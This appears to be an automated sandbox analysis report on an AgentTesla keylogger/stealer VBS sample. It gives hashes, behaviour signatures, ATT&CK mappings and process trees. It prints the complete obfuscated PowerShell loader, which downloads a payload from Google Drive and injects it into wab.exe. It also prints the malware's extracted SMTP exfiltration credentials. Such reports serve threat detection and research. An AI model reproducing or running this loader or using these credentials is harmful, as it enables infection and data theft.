agenttesla | 6478cf37ac29da2d308da2fc2e3864bf289221bfc86049a89e7ba5ae6f1bb265

General

Target

e74c7eeb8441dcc8faf37169cd15805f10b6a21c9982d8395728f5978622f982.vbs
Size

37KB
MD5

97c163bbb028e2bb1439bbe5e9497cfe
SHA1

a69c484d867309e1d36f88f0edcca3cb155e25b8
SHA256

e74c7eeb8441dcc8faf37169cd15805f10b6a21c9982d8395728f5978622f982
SHA512

64e1444c4862392660ff697805b3817fcb7f5db21cb6a1cb56ed4b4e4e8e10ae067cb6c8b79dbec5a4affeb6d5b618aed0fdd87b92f489be23890236d9e6ff7e
SSDEEP

384:u09gBJmUIWz0AujGKoCJmMuttrW6ku83V3aiHwMgz0YaXBP2a+eGHz4b467QiBAc:u09gBJEWAZGc8NnKwiQxwZY36cuA+yBC

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.medicalhome.com.pe
Port:
587
Username:
[email protected]
Password:
MHinfo01
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\GrOcCQC = "C:\\Users\\Admin\\AppData\\Roaming\\GrOcCQC\\GrOcCQC.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
9 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 ip-api.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2720 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2324 powershell.exe
2720 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2324 set thread context of 2720 2324 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2796 powershell.exe
2324 powershell.exe
2324 powershell.exe
2720 wab.exe
2720 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2324 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2796 powershell.exe
Token: SeDebugPrivilege 2324 powershell.exe
Token: SeDebugPrivilege 2720 wab.exe

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

flow	ioc
13	ip-api.com

pid	process
2720	wab.exe

pid	process
2324	powershell.exe
2720	wab.exe

description	pid	process	target process
PID 2324 set thread context of 2720	2324	powershell.exe	wab.exe

pid	process
2796	powershell.exe
2324	powershell.exe
2324	powershell.exe
2720	wab.exe
2720	wab.exe

pid	process
2324	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	2720	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2912 wrote to memory of 2796	2912	WScript.exe	powershell.exe
PID 2912 wrote to memory of 2796	2912	WScript.exe	powershell.exe
PID 2912 wrote to memory of 2796	2912	WScript.exe	powershell.exe
PID 2796 wrote to memory of 2620	2796	powershell.exe	cmd.exe
PID 2796 wrote to memory of 2620	2796	powershell.exe	cmd.exe
PID 2796 wrote to memory of 2620	2796	powershell.exe	cmd.exe
PID 2796 wrote to memory of 2324	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2324	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2324	2796	powershell.exe	powershell.exe
PID 2796 wrote to memory of 2324	2796	powershell.exe	powershell.exe
PID 2324 wrote to memory of 2412	2324	powershell.exe	cmd.exe
PID 2324 wrote to memory of 2412	2324	powershell.exe	cmd.exe
PID 2324 wrote to memory of 2412	2324	powershell.exe	cmd.exe
PID 2324 wrote to memory of 2412	2324	powershell.exe	cmd.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe
PID 2324 wrote to memory of 2720	2324	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e74c7eeb8441dcc8faf37169cd15805f10b6a21c9982d8395728f5978622f982.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Iracundulous Operationsplans Unvisually dripstick #>;$Augustes=(cmd /c set /A 115^^0);Function Unperspirable ([String]$Fartbde){$Mapau=[char][int]$Augustes+'ubstring';$Musicality=8;$Sengelinnedet=Deductibles($Fartbde);For($Miminypiminy=7; $Miminypiminy -lt $Sengelinnedet; $Miminypiminy+=$Musicality){$Fdeegnenes=$Fartbde.$Mapau.Invoke($Miminypiminy, 1);$Lacrimatory64=$Lacrimatory64+$Fdeegnenes;}$Lacrimatory64;}function Inkhornizer ($contenders){. ($Scribbet) ($contenders);}function Deductibles ([String]$henvisningsstreg){$Utvetydighedernes=$henvisningsstreg.Length-1;$Utvetydighedernes;}$Cirsith=Unperspirable 'Eist.ddT Disembr bu,sitaMatchsan SinknisIsoheltfNonre ieSt iberrKompletr ElendiiLyksa.inRendemagHelsece ';$Attraktioner=Unperspirable 'TvangsfhAirdroptLun,ecot mulgep Mel tas Rastsm:chekken/Nahu,tl/ rapsfrdS.rigler AmazoniNse cravEctoblaeTwiggin.Hove stgUnfrockoSan stooprocentgPicktrelMed.tudeEpistle..ohnnyccIndhentoDeeaftamAttribu/ Ant.rauTeo oficSequens?Skrabtee fu orexTilgivep PriedioRecomp rD istebtKniplen=BeskyttdH.rvardoStableswTrlggennrei.corlWoodnoto H flevaGeschftdAircraf& Tulipoi Sn tykdAbso,bi=Efflr s1Bemande7Tanginen MagistW The mo7 TerresmDemonst1DemokrawSkraapu4KtterneV EmulsiHOptaltexStateliRGv nkle0 Morska3 CongoufAlcofor9Be mmes9KursivemPaatnktfParensa6Fods,or0Sk,dgar6MedalliG asmine5shiismb2A.ndeagrH,delseTPrvetek2U.nouriE mockerPtrontalACamcordY Brid,m ';$Scribbet=Unperspirable 'WeltedbiTerapieeBlaabrsx Boucha ';$Graaligt=Unperspirable 'Fngslin$ Fotogrg ManagelOverflaoBroomrab CodeteaUnde.aflWi,nabl: ractleBPakningrMyxo.laaFondsdisundereni utonoelAnnexbriLgehuseaAukje in svedkiePostclirBlasert2,psvulm2 ,ragef0 Tertir Sko dpu=Ski,tet FireworSTridenttGraupela RubellrS,lvhjutBrains,-P,etetsBKlunk siOverpe.tDvledessgteskabTCallistrSungcouaDurskaln UndlivsBlindebfUnt.nsieKrltopprUnwedsl .rythr-M.ssayiS Didymio MonotruRig ererCiderencGigabyteMicrurg Metamor$Doer.boASkrammet SpejlitprimtalrEquin aaPhotorekGru pestCloisteiKam luloTilsmagnIsochroeGo.inesrCabuyab Vealero-rengr.nDErklrineHarpnins Stockht ,urraciSpinatfnYnkso saEtiopietHjemfreiStarosto ercutinobligat A,olesc$StregniLNegropheVarmeduvSpildeveOmdiskurFac,piemAlternaaUnd,rtenUnpa ed ';Inkhornizer (Unperspirable 'Tylop.d$U veracgRechartlVitaminoamtsavibradiodyaOmtaag lLisping:OreodonLEs adree Likv dvza ersseAchedtrrMaggedrmBambisuaStormomnkarting=Soma.ro$Xerophie MensennDiakonivSerpent:Besky taStartp.pkolo.ispvolplandEntrepoaParat yt marrama ootfo ') ;Inkhornizer (Unperspirable ' KaktusINonc.ntmNogheadpSixth yoRaftervr Viti.utSer.efr-loharjoMSten.igoSeedfuldRedevisuEgnstealBrattineFolketi EmpirekB,wirlyai Spat etOsseouss BalancT educearMiswandaLitteranReintersUpstre fAnnb iteUdh linrTrosart ') ;$Leverman=$Leverman+'\Aktualiserende.Brn' ;Inkhornizer (Unperspirable 'Ukasega$ brormag .orurelCircasso Unkni bf.askega GnotoblRepro u: MatrosuDepressn Gastertsamlebarreserveiskydel,bVandr,luAquilegtPhyllopaEnvoyeerUnfoundyFrapper=Mun,res(Pr.contTShawledeAbsencesStudentt Bant m-MegalogP fi.briaRepagantColumneh Hjemme Bet.lin$UnderviL forsteethybornvMassivees emninrUrethromPalmegradioxinunSek aar).ndersl ') ;while (-not $untributary) {Inkhornizer (Unperspirable 'banderoI EmerysfKovendi real,ze(Brl,ren$Eucry tBRackangryork.hiaNonr ctsH.rtigkiFeltnuml RufleniDeleligaDnningenObbeniteDecametrMicrome2Tullenh2 Dobb l0Neph,ot.DelikatJReconsioGenanveb AntiflS Unl.pjt teromaabarbaritHomoo seAngled. indecor-Pois rseHavarisq Ectozo Rnkers$VkkelseCOpsoni iScorninrTalmudiselectroiCo,voketPirrelihattribu)Aabning Fre lan{AabenthSwic tant SikkeraD.tunesrPota,oetGen.ang-UdskejeSMout,fulC,toniceCollapseFennernpEmbleme Peramel1Jumblyt}S klubse tilb,glUdgiversTusindeeAfgrund{BulteriSbias.ngtTropemoaVejpl.drNonexcut Stikke-indkredSFordelilElementeFarverieReferripSpringe Skibuks1 s,umfi; IllustIPacificnDefoamekFrighteh ropforoAtaxyekr Skotjsn Bij uti o erexzSubtarseSkilletrBetegne aturfr$DepersoGSletbagrUnvocalaStadsaraServ celGambadeiDrum yngN,negostNi kysi} Fawner ');Inkhornizer (Unperspirable 'Afvan,r$TendancgG.flendl tatueroProbatibnideshaaPaaa,telFljtek,:W ckalcuKumeniknReg aratAfskrivrMerkantiSekt.rib.rnlednuTurbidltheadshia.arantirObsidiayGametop= T,gole(graatonTRespotse LetchysNonty.at Icef,l-KomplemPHandleaahex,dectTikampehIndexle Elsdyre$ GgehviLZoochoreDeruralv Spl nieNe dmperFreeloamAfskendaOplevernCardiga)Pulpiti ') ;}Inkhornizer (Unperspirable '.immeri$Kofilnagsta,usolGlassitoRadiablbSkambytamrkeligl Em.ral: Udste T D.gitaeAntsiesi ,poistsUnhymenm Str,dsePro ellnbranchi Phi.ant= Me,aph ormaliGFrstestePrehungtQabbala-ViceamtCLym,hyrob aanernInsertetAortopteFarveb,nNabogrutOp,rkso finansi$,uditorL Unhy,eeUngulpgvSituatieBielectralbatiom ,neakeaUnbash,n Indtrr ');Inkhornizer (Unperspirable 'Zincode$ Tuf sdgDirigenlUd.kudsoAftrykkb Debut,a SuffralTuborgs:AftersoB BensaiePolliworUnfi.icaSelvbedtMarenteiPupillon ImpervgFortryl Liniede= Idrift Utugtsf[SteningSNokke,ay UncompsTorobe,tFlegm tePri,termTictock. ImmateCSlangkooJudasesnLynchnivDialakteAmalg mr.edensktI.capsu] Martyr:Rigsaeb:D,preciFTabuingrPrototyoPhenelzmRemobilBSchantzaTow,shas.ismindeMisconn6Viceins4 Colle,S.daptattSvederer MusteeiPad,inonHedernegNormere(Slgerpa$DorosceTS hiwale.lektroiPostwars Dunst.mBearnaieGara.tinforhand)Lbesode ');Inkhornizer (Unperspirable 'Blokstr$indan ng Dechifl Aftagno finansbUmbellaaLaconiclOpspari:Konspi.SjequirinLefle,er formasePa ketgbEstami,aDe.yafsaMimrendnMisfatedgashouseMikrodat GaloppsAccel r Scribbl=Drummon Citrin [PraktikSF.nesnyyM,nnesks.hatnottMarioneeCoordinmNonunci. Tagme TBackfire PrecloxNigherrtAarsskr.NoncorrEAllissmnHeidlsvcGennemsoGolfs,rdProaviaiG,ntlemnSprhj lg Anted,] N.kked:Helbred:MisgoveASaxofonSDefinitCDem,kraITllerneIRigelig.U ykkesGHje,mepe GipsertTru selSTikantetGranulerMenigheiTodosaan Erikn g Habitu(Vinding$Trres.aBVandkmme DrikkerPlsebaraBnne netCloseabiDidascanSv,gescgCasual.)Bereds ');Inkhornizer (Unperspirable 'Primsig$ExcystagSouff,alThailanoStikordbArbejdsaRokkestlout ulk: ChaussP PlaquerAlludi.oCongo,ejFootweaeBran,vscPosturit umshyoc.rnhusr F rvelsSprogsa=Meanlys$UndergiSCloamennHusar,er fricaneSkrumleb Billiga ranklaskjultenOmredigdOoph.reelicencet Flkke,sdetract.TaxinglsKavalkauSelvbesbFlyvrtis FremkotKortuldrPro otyiDigteren Unfor.gJu enal( Imitat3Fo,ecab4Favoure3Udstill0Gippeds4Unpathe9Fugti.h,Dissimi3Progr s2 Kl,dre5Mispenn2F,ynseg1Tidsbeg)Foreyea ');Inkhornizer $Projectors;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2796

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:2620

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Iracundulous Operationsplans Unvisually dripstick #>;$Augustes=(cmd /c set /A 115^^0);Function Unperspirable ([String]$Fartbde){$Mapau=[char][int]$Augustes+'ubstring';$Musicality=8;$Sengelinnedet=Deductibles($Fartbde);For($Miminypiminy=7; $Miminypiminy -lt $Sengelinnedet; $Miminypiminy+=$Musicality){$Fdeegnenes=$Fartbde.$Mapau.Invoke($Miminypiminy, 1);$Lacrimatory64=$Lacrimatory64+$Fdeegnenes;}$Lacrimatory64;}function Inkhornizer ($contenders){. ($Scribbet) ($contenders);}function Deductibles ([String]$henvisningsstreg){$Utvetydighedernes=$henvisningsstreg.Length-1;$Utvetydighedernes;}$Cirsith=Unperspirable 'Eist.ddT Disembr bu,sitaMatchsan SinknisIsoheltfNonre ieSt iberrKompletr ElendiiLyksa.inRendemagHelsece ';$Attraktioner=Unperspirable 'TvangsfhAirdroptLun,ecot mulgep Mel tas Rastsm:chekken/Nahu,tl/ rapsfrdS.rigler AmazoniNse cravEctoblaeTwiggin.Hove stgUnfrockoSan stooprocentgPicktrelMed.tudeEpistle..ohnnyccIndhentoDeeaftamAttribu/ Ant.rauTeo oficSequens?Skrabtee fu orexTilgivep PriedioRecomp rD istebtKniplen=BeskyttdH.rvardoStableswTrlggennrei.corlWoodnoto H flevaGeschftdAircraf& Tulipoi Sn tykdAbso,bi=Efflr s1Bemande7Tanginen MagistW The mo7 TerresmDemonst1DemokrawSkraapu4KtterneV EmulsiHOptaltexStateliRGv nkle0 Morska3 CongoufAlcofor9Be mmes9KursivemPaatnktfParensa6Fods,or0Sk,dgar6MedalliG asmine5shiismb2A.ndeagrH,delseTPrvetek2U.nouriE mockerPtrontalACamcordY Brid,m ';$Scribbet=Unperspirable 'WeltedbiTerapieeBlaabrsx Boucha ';$Graaligt=Unperspirable 'Fngslin$ Fotogrg ManagelOverflaoBroomrab CodeteaUnde.aflWi,nabl: ractleBPakningrMyxo.laaFondsdisundereni utonoelAnnexbriLgehuseaAukje in svedkiePostclirBlasert2,psvulm2 ,ragef0 Tertir Sko dpu=Ski,tet FireworSTridenttGraupela RubellrS,lvhjutBrains,-P,etetsBKlunk siOverpe.tDvledessgteskabTCallistrSungcouaDurskaln UndlivsBlindebfUnt.nsieKrltopprUnwedsl .rythr-M.ssayiS Didymio MonotruRig ererCiderencGigabyteMicrurg Metamor$Doer.boASkrammet SpejlitprimtalrEquin aaPhotorekGru pestCloisteiKam luloTilsmagnIsochroeGo.inesrCabuyab Vealero-rengr.nDErklrineHarpnins Stockht ,urraciSpinatfnYnkso saEtiopietHjemfreiStarosto ercutinobligat A,olesc$StregniLNegropheVarmeduvSpildeveOmdiskurFac,piemAlternaaUnd,rtenUnpa ed ';Inkhornizer (Unperspirable 'Tylop.d$U veracgRechartlVitaminoamtsavibradiodyaOmtaag lLisping:OreodonLEs adree Likv dvza ersseAchedtrrMaggedrmBambisuaStormomnkarting=Soma.ro$Xerophie MensennDiakonivSerpent:Besky taStartp.pkolo.ispvolplandEntrepoaParat yt marrama ootfo ') ;Inkhornizer (Unperspirable ' KaktusINonc.ntmNogheadpSixth yoRaftervr Viti.utSer.efr-loharjoMSten.igoSeedfuldRedevisuEgnstealBrattineFolketi EmpirekB,wirlyai Spat etOsseouss BalancT educearMiswandaLitteranReintersUpstre fAnnb iteUdh linrTrosart ') ;$Leverman=$Leverman+'\Aktualiserende.Brn' ;Inkhornizer (Unperspirable 'Ukasega$ brormag .orurelCircasso Unkni bf.askega GnotoblRepro u: MatrosuDepressn Gastertsamlebarreserveiskydel,bVandr,luAquilegtPhyllopaEnvoyeerUnfoundyFrapper=Mun,res(Pr.contTShawledeAbsencesStudentt Bant m-MegalogP fi.briaRepagantColumneh Hjemme Bet.lin$UnderviL forsteethybornvMassivees emninrUrethromPalmegradioxinunSek aar).ndersl ') ;while (-not $untributary) {Inkhornizer (Unperspirable 'banderoI EmerysfKovendi real,ze(Brl,ren$Eucry tBRackangryork.hiaNonr ctsH.rtigkiFeltnuml RufleniDeleligaDnningenObbeniteDecametrMicrome2Tullenh2 Dobb l0Neph,ot.DelikatJReconsioGenanveb AntiflS Unl.pjt teromaabarbaritHomoo seAngled. indecor-Pois rseHavarisq Ectozo Rnkers$VkkelseCOpsoni iScorninrTalmudiselectroiCo,voketPirrelihattribu)Aabning Fre lan{AabenthSwic tant SikkeraD.tunesrPota,oetGen.ang-UdskejeSMout,fulC,toniceCollapseFennernpEmbleme Peramel1Jumblyt}S klubse tilb,glUdgiversTusindeeAfgrund{BulteriSbias.ngtTropemoaVejpl.drNonexcut Stikke-indkredSFordelilElementeFarverieReferripSpringe Skibuks1 s,umfi; IllustIPacificnDefoamekFrighteh ropforoAtaxyekr Skotjsn Bij uti o erexzSubtarseSkilletrBetegne aturfr$DepersoGSletbagrUnvocalaStadsaraServ celGambadeiDrum yngN,negostNi kysi} Fawner ');Inkhornizer (Unperspirable 'Afvan,r$TendancgG.flendl tatueroProbatibnideshaaPaaa,telFljtek,:W ckalcuKumeniknReg aratAfskrivrMerkantiSekt.rib.rnlednuTurbidltheadshia.arantirObsidiayGametop= T,gole(graatonTRespotse LetchysNonty.at Icef,l-KomplemPHandleaahex,dectTikampehIndexle Elsdyre$ GgehviLZoochoreDeruralv Spl nieNe dmperFreeloamAfskendaOplevernCardiga)Pulpiti ') ;}Inkhornizer (Unperspirable '.immeri$Kofilnagsta,usolGlassitoRadiablbSkambytamrkeligl Em.ral: Udste T D.gitaeAntsiesi ,poistsUnhymenm Str,dsePro ellnbranchi Phi.ant= Me,aph ormaliGFrstestePrehungtQabbala-ViceamtCLym,hyrob aanernInsertetAortopteFarveb,nNabogrutOp,rkso finansi$,uditorL Unhy,eeUngulpgvSituatieBielectralbatiom ,neakeaUnbash,n Indtrr ');Inkhornizer (Unperspirable 'Zincode$ Tuf sdgDirigenlUd.kudsoAftrykkb Debut,a SuffralTuborgs:AftersoB BensaiePolliworUnfi.icaSelvbedtMarenteiPupillon ImpervgFortryl Liniede= Idrift Utugtsf[SteningSNokke,ay UncompsTorobe,tFlegm tePri,termTictock. ImmateCSlangkooJudasesnLynchnivDialakteAmalg mr.edensktI.capsu] Martyr:Rigsaeb:D,preciFTabuingrPrototyoPhenelzmRemobilBSchantzaTow,shas.ismindeMisconn6Viceins4 Colle,S.daptattSvederer MusteeiPad,inonHedernegNormere(Slgerpa$DorosceTS hiwale.lektroiPostwars Dunst.mBearnaieGara.tinforhand)Lbesode ');Inkhornizer (Unperspirable 'Blokstr$indan ng Dechifl Aftagno finansbUmbellaaLaconiclOpspari:Konspi.SjequirinLefle,er formasePa ketgbEstami,aDe.yafsaMimrendnMisfatedgashouseMikrodat GaloppsAccel r Scribbl=Drummon Citrin [PraktikSF.nesnyyM,nnesks.hatnottMarioneeCoordinmNonunci. Tagme TBackfire PrecloxNigherrtAarsskr.NoncorrEAllissmnHeidlsvcGennemsoGolfs,rdProaviaiG,ntlemnSprhj lg Anted,] N.kked:Helbred:MisgoveASaxofonSDefinitCDem,kraITllerneIRigelig.U ykkesGHje,mepe GipsertTru selSTikantetGranulerMenigheiTodosaan Erikn g Habitu(Vinding$Trres.aBVandkmme DrikkerPlsebaraBnne netCloseabiDidascanSv,gescgCasual.)Bereds ');Inkhornizer (Unperspirable 'Primsig$ExcystagSouff,alThailanoStikordbArbejdsaRokkestlout ulk: ChaussP PlaquerAlludi.oCongo,ejFootweaeBran,vscPosturit umshyoc.rnhusr F rvelsSprogsa=Meanlys$UndergiSCloamennHusar,er fricaneSkrumleb Billiga ranklaskjultenOmredigdOoph.reelicencet Flkke,sdetract.TaxinglsKavalkauSelvbesbFlyvrtis FremkotKortuldrPro otyiDigteren Unfor.gJu enal( Imitat3Fo,ecab4Favoure3Udstill0Gippeds4Unpathe9Fugti.h,Dissimi3Progr s2 Kl,dre5Mispenn2F,ynseg1Tidsbeg)Foreyea ');Inkhornizer $Projectors;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2324

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2412

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
5aff42b94b96ae1ea2e8ed8f9b494d8b

SHA1
a8eb96c1f0b1c54a4924a9be30ad3114d0bbfeb4

SHA256
0ea3108d77824a26ba531f0c8304075e831c8f0877aba9343624faa31dd77e96

SHA512
e5569b243e5f9e9ab83d8fbe751b33c4c7ab22dad7e98c51defb2fec128fa87aa0cacde9348d6adebb8ed9b81bed6f9faf2c665db08ee4fabe683691dfd8e08e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab906D.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NG3GOQLCHZ7QJBQNPQWX.temp

Filesize
7KB

MD5
ef99e0d68392895e2cd9342318589cd2

SHA1
dd3bc57150fd5a8dd613f5a7dbcc87603f6ba3b5

SHA256
241e3db2b29530cd3b0ec9e2ab2435a593f08d20331d0bbdaf7437137bb2b319

SHA512
7f32782b73e0b069beda6dede55a1a99b81a133192dbef738917cb741296d7b911b9f0a4a04f4e295133b4928b0c8179f479165cda1529fdb3fee7ba498a676a

Download Submit
memory/2324-37-0x0000000077410000-0x00000000775B9000-memory.dmp

Filesize
1.7MB

Download
memory/2324-39-0x0000000077600000-0x00000000776D6000-memory.dmp

Filesize
856KB

Download
memory/2324-38-0x0000000073450000-0x00000000739FB000-memory.dmp

Filesize
5.7MB

Download
memory/2324-19-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2324-32-0x0000000006670000-0x000000000B5ED000-memory.dmp

Filesize
79.5MB

Download
memory/2324-33-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/2324-29-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2324-40-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2324-16-0x0000000073450000-0x00000000739FB000-memory.dmp

Filesize
5.7MB

Download
memory/2324-18-0x0000000073450000-0x00000000739FB000-memory.dmp

Filesize
5.7MB

Download
memory/2324-17-0x0000000002820000-0x0000000002860000-memory.dmp

Filesize
256KB

Download
memory/2720-41-0x0000000077410000-0x00000000775B9000-memory.dmp

Filesize
1.7MB

Download
memory/2720-42-0x0000000077636000-0x0000000077637000-memory.dmp

Filesize
4KB

Download
memory/2720-77-0x0000000024D50000-0x0000000024D90000-memory.dmp

Filesize
256KB

Download
memory/2720-76-0x000000006EDA0000-0x000000006F48E000-memory.dmp

Filesize
6.9MB

Download
memory/2720-71-0x0000000024D50000-0x0000000024D90000-memory.dmp

Filesize
256KB

Download
memory/2720-69-0x000000006EDA0000-0x000000006F48E000-memory.dmp

Filesize
6.9MB

Download
memory/2720-68-0x0000000000ED0000-0x0000000000F46000-memory.dmp

Filesize
472KB

Download
memory/2720-65-0x0000000000ED0000-0x0000000001F32000-memory.dmp

Filesize
16.4MB

Download
memory/2720-43-0x0000000077600000-0x00000000776D6000-memory.dmp

Filesize
856KB

Download
memory/2796-35-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2796-5-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-8-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-4-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2796-11-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-36-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-9-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-7-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-13-0x0000000002B30000-0x0000000002B42000-memory.dmp

Filesize
72KB

Download
memory/2796-34-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-10-0x000000001BC80000-0x000000001BCA2000-memory.dmp

Filesize
136KB

Download
memory/2796-70-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download
memory/2796-12-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-31-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/2796-30-0x000007FEF5960000-0x000007FEF62FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads